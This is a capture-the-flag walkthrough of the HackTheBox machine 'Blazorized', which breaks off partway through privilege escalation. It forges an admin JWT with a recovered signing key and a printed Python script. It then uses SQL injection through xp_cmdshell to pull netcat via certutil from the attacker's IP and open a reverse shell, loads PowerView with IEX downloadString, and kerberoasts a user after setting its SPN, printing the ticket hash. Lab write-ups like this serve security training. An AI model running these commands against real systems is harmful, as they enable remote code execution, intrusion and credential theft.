Blazorized – HackTheBox Link to heading
- OS: Windows
- Difficulty: Hard
- Platform: HackTheBox
Summary Link to heading
“Blazorized” is a Hard machine from HackTheBox
platform. The target machine is running a web server. After inspecting its source code, we are able to find .dll
files. After a little Reverse Engineering
to these files, we are able to obtain the sign key to generate Jason Web Tokens
and generate a token for an administrator site. This administration site is vulnerable to SQL Injection
, which also allows us to execute commands; gaining initial access to the target machine. Once inside the target machine, we are able to find a kerberoasteable user, crack its hash and get its password. This user can edit a directory that is executing scripts .bat
by another user; which allows us to add a malicious script and gain acess to a new user. This new user can perform a DCSync
attack, which allows us to get the NTLM
hash for Administrator
user and take total control over the machine.
User Link to heading
Starting with an Nmap
scan to check open TCP ports:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.22
and checking their version:
❯ sudo nmap -sVC -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49673,49674,49675,49680,49683,49707,49776 10.10.11.22 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 20:50 -04
Nmap scan report for 10.10.11.22
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://blazorized.htb
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-22 00:50:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info:
| 10.10.11.22\BLAZORIZED:
| Instance name: BLAZORIZED
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1115.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
| TCP port: 1433
|_ Clustered: false
| ms-sql-ntlm-info:
| 10.10.11.22\BLAZORIZED:
| Target_Name: BLAZORIZED
| NetBIOS_Domain_Name: BLAZORIZED
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: blazorized.htb
| DNS_Computer_Name: DC1.blazorized.htb
| DNS_Tree_Name: blazorized.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-22T00:46:19
|_Not valid after: 2054-07-22T00:46:19
|_ssl-date: 2024-07-22T00:51:31+00:00; +2s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49776/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1115.00; RC0+
|_ssl-date: 2024-07-22T00:51:31+00:00; +1s from scanner time.
| ms-sql-ntlm-info:
| 10.10.11.22:49776:
| Target_Name: BLAZORIZED
| NetBIOS_Domain_Name: BLAZORIZED
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: blazorized.htb
| DNS_Computer_Name: DC1.blazorized.htb
| DNS_Tree_Name: blazorized.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-22T00:46:19
|_Not valid after: 2054-07-22T00:46:19
| ms-sql-info:
| 10.10.11.22:49776:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1115.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 49776
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-07-22T00:51:21
|_ start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.10 seconds
where we can see multiple ports open: 53
Domain Name System
, 80
HTTP
, 88
Kerberos
, 135
Microsoft RPC
, 389
Lightweight Directory Access Protocol
, 445
Server Message Block|SMB
, 1433
Microsoft SQL Server
, 5985
Windows Remote Management
; among many others.
From the output I can see that HTTP
site at port 80
redirects to http://blazorized.htb
when we visit it. So we add this domain to our /etc/hosts
file running:
❯ echo '10.10.11.22 blazorized.htb' | sudo tee -a /etc/hosts
Visiting now http://blazorized.htb
shows a webpage:
There I can see a section Check for Updates
at the left side. Clicking on it redirects to http://blazorized.htb/check-updates
:
The site clearly says that the webpage is in an alpha release, where only admin can request posts and calls to an API. It says that clicking on the button Check for Updates
securely impersonates admin user. However, clicking on it returns an error:
❌ Failed to Update Blazorized's Content!
To see what happens when we click on Check for Updates
button I will intercept the request with Burpsuite
. After clicking on it I can see the following request intercepted:
OPTIONS /posts HTTP/1.1
Host: api.blazorized.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Access-Control-Request-Method: GET
Access-Control-Request-Headers: authorization
Referer: http://blazorized.htb/
Origin: http://blazorized.htb
DNT: 1
Connection: close
It is calling the host api.blazorized.htb
. So I add this new subdomain to my /etc/hosts
file; now it looks like:
❯ tail -n1 /etc/hosts
10.10.11.22 blazorized.htb api.blazorized.htb
Once added, if now I click on Check for Updates
the message shown changes. Now it is successful:
✅ Successfully Updated Blazorized's Content!
I note that the content at the left side is updated. The content is new, but they do not show sensitive information. Just topics related to Cybersecurity (Red/Blue Teaming), some papers and other stuff:
At this point I decide to search for vhosts
. For this we use ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://blazorized.htb/ -H 'Host: FUZZ.blazorized.htb' -t 50 -fs 144
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://blazorized.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.blazorized.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 144
________________________________________________
admin [Status: 200, Size: 2072, Words: 149, Lines: 28, Duration: 176ms]
:: Progress: [19966/19966] :: Job [1/1] :: 255 req/sec :: Duration: [0:01:23] :: Errors: 0 ::
where we have a new subdomain: admin.blazorized.htb
We add this new subdomain again to our /etc/hosts
file, so now this one looks like:
❯ tail -n1 /etc/hosts
10.10.11.22 blazorized.htb api.blazorized.htb admin.blazorized.htb
Just to be curious, I check what happens with http://api.blarozied.htb
, since it was not found by ffuf
scan. We check this with cURL
checking the header of the request with -I
:
❯ curl -I http://api.blazorized.htb
HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Server: Microsoft-IIS/10.0
Date: Mon, 22 Jul 2024 01:31:04 GMT
It is returning code 404
, which is interesting.
Visiting http://admin.blarozied.htb
shows a new panel:
but this panel is not vulnerable to attacks. So I will skip this for the moment.
Checking the source code of, for example, http://blazorized.htb/post/1c391f9c-fd3e-4d86-b966-9a3e5d7e3d28
shows:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<title>Mozhar's Digital Garden</title>
<base href="/" />
<link rel="icon" type="image/png" href="icon-192.png" />
<link href="_content/MudBlazor/MudBlazor.min.css" rel="stylesheet" />
<link href="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.css" rel="stylesheet" />
<link href="Blazorized.DigitalGarden.styles.css" rel="stylesheet"/>
</head>
<body style="min-height:100vh;display:flex;flex-direction:column">
<div id="app">
<h1 style="text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)">
Please Wait, Loading...
</h1>
</div>
<div id="blazor-error-ui">
An unhandled error has occurred.
<a href="" class="reload">Reload</a>
<a class="dismiss">🗙</a>
</div>
<script src="_framework/blazor.webassembly.js"></script>
<script src="_content/MudBlazor/MudBlazor.min.js"></script>
<script src="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.js"></script>
<footer style="margin-top:auto">
<span style="display:block;text-align:center;font-size:20px;">
Built with ❤️ using Blazor WebAssembly
</span>
</footer>
</body>
</html>
Shows that it is using MudBlazor
. A quick internet search reaches something interesting; MudBlazor - Blazor Component Library
:
Mudblazor
is a Blazor Component Library based on Material Design. MudBlazor
is easy to use and extend, especially for .NET
devs because it uses almost no Javascript
.Then searching for what is blazor
we find:
Blazor
is a feature of ASP.NET
for building interactive web UIs using C#
instead of JavaScript
. It’s real .NET
running in the browser on WebAssembly
.Also this video is specially interesting to know what Blazor
does.
So, I assume the machine name (always giving a hint about the vulnerability in the machine) is related to Blazor
. From this source code I can see a directory _framework/blazor.webbassembly.js
. The code itself is not pretty, so I use a page like https://beautifier.io/ to make the code pretty. After analyzing it (which is the “tough” part of this machine) there is a portion of code that looks like:
<SNIP>
class at {
constructor(e, t) {
this.bootConfig = e, this.applicationEnvironment = t
}
static async initAsync(e, t) {
const n = void 0 !== e ? e("manifest", "blazor.boot.json", "_framework/blazor.boot.json", "") : a("_framework/blazor.boot.json");
let r;
r = n ? "string" == typeof n ? await a(n) : await n : await a("_framework/blazor.boot.json");
const o = t || r.headers.get("Blazor-Environment") || "Production",
s = await r.json();
return s.modifiableAssemblies = r.headers.get("DOTNET-MODIFIABLE-ASSEMBLIES"), s.aspnetCoreBrowserTools = r.headers.get("ASPNETCORE-BROWSER-TOOLS"), new at(s, o);
function a(e) {
return fetch(e, {
method: "GET",
credentials: "include",
cache: "no-cache"
})
}
}
}
<SNIP>
where _framework/blazor.boot.json
seems interesting.
Visiting http://blazorized.htb/_framework/blazor.boot.json
with cURL
shows some info:
{
"cacheBootResources": true,
"config": [],
"debugBuild": false,
"entryAssembly": "Blazorized.DigitalGarden",
"icuDataMode": 0,
"linkerEnabled": true,
"resources": {
"assembly": {
"Blazored.LocalStorage.dll": "sha256-5V8ovY1srbIIz7lzzMhLd3nNJ9LJ6bHoBOnLJahv8Go=",
"Blazorized.DigitalGarden.dll": "sha256-YH2BGBuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI=",
"Blazorized.Shared.dll": "sha256-Bz/iaIKjbUZ4pzYB1LxrExKonhSlVdPH63LsehtJDqY=",
<SNIP>
},
"extensions": null,
"lazyAssembly": {
"Blazorized.Helpers.dll": "sha256-ekLzpGbbVEn95uwSU2BGWpjosCK/fqqQRjGFUW0jAQQ="
},
"libraryInitializers": null,
"pdb": null,
"runtime": {
"dotnet.7.0.15.x46e81vra7.js": "sha256-MHuxwxeVFybuBBTAWeZrvoStZpW+H4ThSaRcFvrfqXM=",
"dotnet.timezones.blat": "sha256-aHk3Pm2JXopn6UPLJtovAqIdIk8GyIMzGm450cli9UE=",
"dotnet.wasm": "sha256-fMuaMGy/7q8rXL+GyH9Gu04mJDwQ/OSYXD9ezf+Fz4k=",
"icudt_CJK.dat": "sha256-SZLtQnRc0JkwqHab0VUVP7T3uBPSeYzxzDnpxPpUnHk=",
"icudt_EFIGS.dat": "sha256-8fItetYY8kQ0ww6oxwTLiT3oXlBwHKumbeP2pRF4yTc=",
"icudt_no_CJK.dat": "sha256-L7sV7NEYP37/Qr2FPCePo5cJqRgTXRwGHuwF5Q+0Nfs=",
"icudt.dat": "sha256-tO5O5YzMTVSaKBboxAqezOQL9ewmupzV2JrB5Rkc8a4="
},
"runtimeAssets": {
"dotnet.wasm": {
"behavior": "dotnetwasm",
"hash": "sha256-fMuaMGy/7q8rXL+GyH9Gu04mJDwQ/OSYXD9ezf+Fz4k="
}
},
"satelliteResources": null
}
}
Based on this documentation, Blazored.LocalStorage.dll
seems interesting:
Blazor.LocalStorage
package consumes the Blazor.SourceGenerators
package. It exposes a source generated IStorageService
interface specific to Blazor WebAssembly
and the localStorage
Web API.I remember that the site made a request to api.blazorized.htb
as admin
, so some type of credentials might be contained there. For this we need to download this file. After looking for it we find it at http://blazorized.htb/_framework/Blazored.LocalStorage.dll
. So we can download it visiting this site in a web browser.
I pass this .dll
file to a Windows
machine and analyze it using dnSpy
. It shows the repository used:
where we can see the repository https://github.com/Blazored/LocalStorage.
Blazored LocalStorage
is a library that provides access to the browsers local storage APIs for Blazor
applications. An additional benefit of using this library is that it will handle serializing and deserializing values when saving or retrieving them.The only problem is that I searched for credentials in this .dll
file, but I was not able to find any credential sadly. So I will start searching for more credentials in the other .dll
files available at http://blazorized.htb/_framework/blazor.boot.json
.
Eventually, the file Blazorized.Helpers.dll
(downloaded through the link http://blazorized.htb/_framework/Blazorized.Helpers.dll
) shows something:
where we finally find a Jason Web Token
security key (or sign) at Blazorized.Helpers -> JWT
:
8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a
Also, a portion of the code shows:
<SNIP>
public static class JWT
{
// Token: 0x06000008 RID: 8 RVA: 0x00002164 File Offset: 0x00000364
private static SigningCredentials GetSigningCredentials()
{
SigningCredentials result;
try
{
result = new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes(JWT.jwtSymmetricSecurityKey)), "HS512");
}
catch (Exception)
{
throw;
}
return result;
}
<SNIP>
and
// Token: 0x04000007 RID: 7
private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
// Token: 0x04000008 RID: 8
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
// Token: 0x04000009 RID: 9
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
// Token: 0x0400000A RID: 10
private static readonly string superAdminRoleClaimValue = "Super_Admin";
// Token: 0x0400000B RID: 11
private static readonly string issuer = "http://api.blazorized.htb";
// Token: 0x0400000C RID: 12
private static readonly string apiAudience = "http://api.blazorized.htb";
// Token: 0x0400000D RID: 13
private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";
Now, I note 2 things. We have 2 functions in this code. One is called GenerateTemporaryJWT
which is:
public static string GenerateTemporaryJWT(long expirationDurationInSeconds = 60L)
{
string result;
try
{
List<Claim> list = new List<Claim>
{
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.postsPermissionsClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.categoriesPermissionsClaimValue)
};
string text = JWT.issuer;
string text2 = JWT.apiAudience;
IEnumerable<Claim> enumerable = list;
SigningCredentials signingCredentials = JWT.GetSigningCredentials();
DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
}
catch (Exception)
{
throw;
}
return result;
}
and another one called GenerateSuperAdminJWT
:
public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
{
string result;
try
{
List<Claim> list = new List<Claim>
{
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
};
string text = JWT.issuer;
string text2 = JWT.adminDashboardAudience;
IEnumerable<Claim> enumerable = list;
SigningCredentials signingCredentials = JWT.GetSigningCredentials();
DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
}
catch (Exception)
{
throw;
}
return result;
}
What I will try to do now is to “replicate” and create a new SuperAdmin
token. Based on the portion of code above, to create a privileged token this needs to contain:
- An email (
superadmin@blazorized.htb
) - A user (
Super_Admin
) - An issuer (
http://api.blazorized.htb
) - An audience (
http://admin.blazorized.htb
)
I create a Python
script to do it:
#!/usr/bin/python3
import jwt
import datetime
# Set parameters found
jwt_symmetric_security_key = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a"
super_admin_user = 'Super_Admin'
super_admin_email_claim_value = "superadmin@blazorized.htb"
posts_permissions_claim_value = "Posts_Get_All"
categories_permissions_claim_value = "Categories_Get_All"
issuer = "http://api.blazorized.htb"
audience = "http://admin.blazorized.htb"
def generate_temporary_jwt(expiration_duration_in_seconds=60):
"""
Create the temporal token
"""
expiration_time = datetime.datetime.utcnow() + datetime.timedelta(seconds=expiration_duration_in_seconds)
claims = {
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": super_admin_email_claim_value,
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": super_admin_user,
"iss": issuer,
"aud": audience,
"exp": expiration_time
}
token = jwt.encode(claims, jwt_symmetric_security_key, algorithm="HS512")
return token
if __name__ == "__main__":
jwt_token = generate_temporary_jwt()
print(jwt_token)
Running it we get:
❯ python3 generate_JWT_token.py
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzIxNjIyMTkyfQ.odLhTL_xCynUd24s78wRnyg18N1D9wF2F5jmyCBqgs8WJ3-BfhfHPrqO4h2OqFyjlFBjDy0xUX37y0dLELdefA
Then decode it to check if this worked in https://jwt.io/:
Let’s continue. The “audience” in a JWT
shows the recipients that the JWT
is intended for. It is used to ensure that the token is only accepted by the audience; in this case the url http://admin.blazorized.htb
. So, based on this, I assume that this generated token is useful for the login panel at http://admin.blazorized.htb
we previously found. I also noticed that the duration of the token is 60 seconds, so when we generate it we have 1 minute to use it. Otherwise we will have to re-generate another token.
After generating the token, in a web browser like Firefox
, I decide to go to Storage
(Ctrl + Shift + I
), then Local Storage
and then add (clicking at the +
symbol) some storage data. As key name I set jwt
, and as value I set the generated JWT
by our Python
script:
Refresh the page and we are in:
…That message is a nice advice
At the left side there is a search tool under the tab Check Duplicate Post Titles
at the left side. Clicking on it shows:
I remember that this machine had a Microsoft SQL Server
(MSSQL
) service running on it.
After attempting many things, and since this is using a SQL
database, I then attempt some SQL Injections
. For this I first start listening for ICMP
traces on my attacker machine with tcpdump
running:
❯ sudo tcpdump -ni tun0 icmp
and then, after some attempts, one of the following injections worked:
';exec master..xp_cmdshell "ping -n 1 10.10.16.3" --+
And I get something:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:52:11.744937 IP 10.10.11.22 > 10.10.16.3: ICMP echo request, id 1, seq 415, length 40
00:52:11.744948 IP 10.10.16.3 > 10.10.11.22: ICMP echo reply, id 1, seq 415, length 40
so we have reached a Command Injection
.
Therefore I will pass a netcat
binary for Windows
to the target machine. First I start a Python
HTTP
server on port 8000
in my attacker machine running:
❯ ls && python3 -m http.server 8000
generate_JWT_token.py nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and download the binary executing certutil
in the victim machine injecting in the web searcher the command:
';exec master..xp_cmdshell "C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f http://10.10.16.3:8000/nc64.exe C:\Users\Public\Downloads\nc.exe" --+
where 10.10.16.3
is my attacker IP address.
Then, in our attacker machine, start a netcat
listener on port 443
along with rlwrap
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
Finally, execute the netcat
binary transferred to get a reverse shell:
';exec master..xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e C:\Windows\System32\cmd.exe" --+
and we get a shell as nu_1055
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.22] 60850
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
blazorized\nu_1055
We can get the user flag at the Desktop of this user.
NT Authority/System - Administrator Link to heading
We note that this user is in the group Normal_Users
:
PS C:\Users\Public\Downloads> net user nu_1055
net user nu_1055
User name NU_1055
Full Name NU_1055
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/25/2024 12:55:06 PM
Password expires Never
Password changeable 2/26/2024 12:55:06 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile C:\Users\NU_1055
Home directory C:\Users\NU_1055
Last logon 7/22/2024 12:16:53 AM
Logon hours allowed All
Local Group Memberships *IIS_IUSRS *Remote Management Use
Global Group memberships *Normal_Users *Domain Users
The command completed successfully.
We swap from a CMD
to a Powershell
(just type powershell
command) and, then, I will upload PowerView.ps1
(which can be downloaded from its repository) to the target machine. First, on my attacker machine I expose PowerView.ps1
with python3 -m http.server 8000
and then, in the target machine I run:
PS C:\Users\Public\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8000/PowerView.ps1')
Once imported I see if we can make one of the user kerberoastables. There is one that allows me to do it called RSA_4810
:
PS C:\Users\Public\Downloads> Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='htb/gunzf0x'}
Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='htb/gunzf0x'}
where serviceprincipalname
can be anything we want as long it follows the format word1/word2
.
Then, I request the ticket for this user:
PS C:\Users\Public\Downloads> Get-DomainUser RSA_4810 -SPN | Get-DomainSPNTicket -Format Hashcat
Get-DomainUser RSA_4810 -SPN | Get-DomainSPNTicket -Format Hashcat
SamAccountName : RSA_4810
DistinguishedName : CN=RSA_4810,CN=Users,DC=blazorized,DC=htb
ServicePrincipalName : htb/gunzf0x
TicketByteHexStream :
Hash : $krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$C500617D4E0868E7BD5F1801F01596F6$597C70FE5E864
738A3EA436C0A746E0867379C8AABE0A09F43213BB303FA364A5170C0016C58729F1E971988C0A9F347CCAD3C3973D92
E421EE6CFDBC7B6162A7B451177C11BEC0042C3689681BF4EEC0FD97F88D5CF9D620BA8A6AF1702FBF2B846E0818175F
24D8E335E76628216900B401F0845AD575826B0653CF4C9A1036A73E8EFE52EB1A63F0CB71E014D0B27E465045A462A3
B7837B02BF2DC7528DC908A3A60282161F7F0A106BD33166FFC229A6E13BC5F62DA4AC3CD2E4BDD719FCD9EB16597B1B
857EDAEC68AAAF431787887CEFE074CFC6C8016025D6BEB25CDB30387C8340C7D43DBFE016545A34223A1BBE26FD0C04
271C9455B3EDBB7018531196099B59164424A0DF52D9A9A4595DA67EFA8939DB00FE0BFD2E9C0DE71E3AA62AECC86C6F
E3934F39476977B0D2F807AE5B45812FDA45F3256B12107272E509A7D9C46D6C52F7598FD979629BEECE36B182876B0D
9FBF70DAD014DB1402758D635089EE7FC32AED8D92D12BCA526DD0AFDE32AFD49699403B6153BC3B94F107BBF144D2E8
FD5D023B562A0599B209902AB2CE94B242186FFC3F84446FC54F4C53C1C96B9C175F0F26DA73757BA49A62E751E30888
30318BD0A5895FB0E730FE63BFC76414A667F5F9482F1D4101EA57F0DEC10A2A2202B1E97949DDE15F9764BAF8F010D6
8B3DD661ECFD25403E91FA9035F74DF7F168453C44891F65D4F20159A7E0A9548B05A205C961A88ACA902EB5E9984D6F
1D4215E3427C8EBE9D7A1731A369097CA0B52F41DBD938C23933AD6BBB2AA473704CA7419FCFA51E4F38902D7E5749F2
C511A1DDCCBD13890785A23D9A1A1AB54F4FD6502721F502341D783D0EC346180C09BEB09B0D5D281FE5FD9AAAEDF142
9BA2614ECEDBA0B2907960B94D37A2AF7BF542C3E887DDE85409E679E9F136E496E1CFDA72263D3F89A186552787EF45
C4324F4104F9BEE7DC7B519CC5ADC71940689B361C6A71D8EF6CF8258546C89A81CB662D29BFB4289F59D5ACAE81D22F
9C88063C6CBA7151794E5161E074A963043E3B15A385B2EEF86628A2D21D8EF1B19A94499F82DA2F02D9F7D3A6ADE6D2
078021223DCE6A8E28E61468BAAAFAC2A428EFD082830024A4F065811424E281A139FC7C690E684CE3EAEE0B852A69C1
EE64959C63169EDEEC21B0814470B594D3513094D45958620989C191E950383ED0DB4CB7899388A8572B3BE7A67B543F
E70AD18D506C7A95E9C51643B9347A61EB87CDE76113DA8A1CB4F76D27EF863916A94BE1DCCAD91A9618DCF9885BF6A0
664B4C3906225C622C26A42D0C6551E6110E8BC2A085E2C372D5A68E7E6D467F370595245D2201BA2D388008E64607FB
8C2244527FBD52CA3051EB36D675E17282958709EE213EB1E9A83B91D91AB881718D46F1AC9411FD97D93DAE9F9E1E86
8879AFCF994B3CF47718CAAF3F4D6AE63476BAA20B42BF37B256DD966AF2DA18266C42534195941CAE13249A7FDB10E8
3CEA6035AB2FA04459B295432A099785856ED7EE5ECE0937ED672D90CBD12D09F3EF09F91DAF2659FF56FDBBA5F8E95F
CEC1792D67C4302437C6678900BED83C350585EA8BA3218A550D6E489A10F9E794173EA2832D0E583688B5F51788C52F
F1C805912B7A4068F0AA4F49DB2278E902E14730DDAFC50499316B5970E56E310206F6CB12602522E4BB64315C30D48D
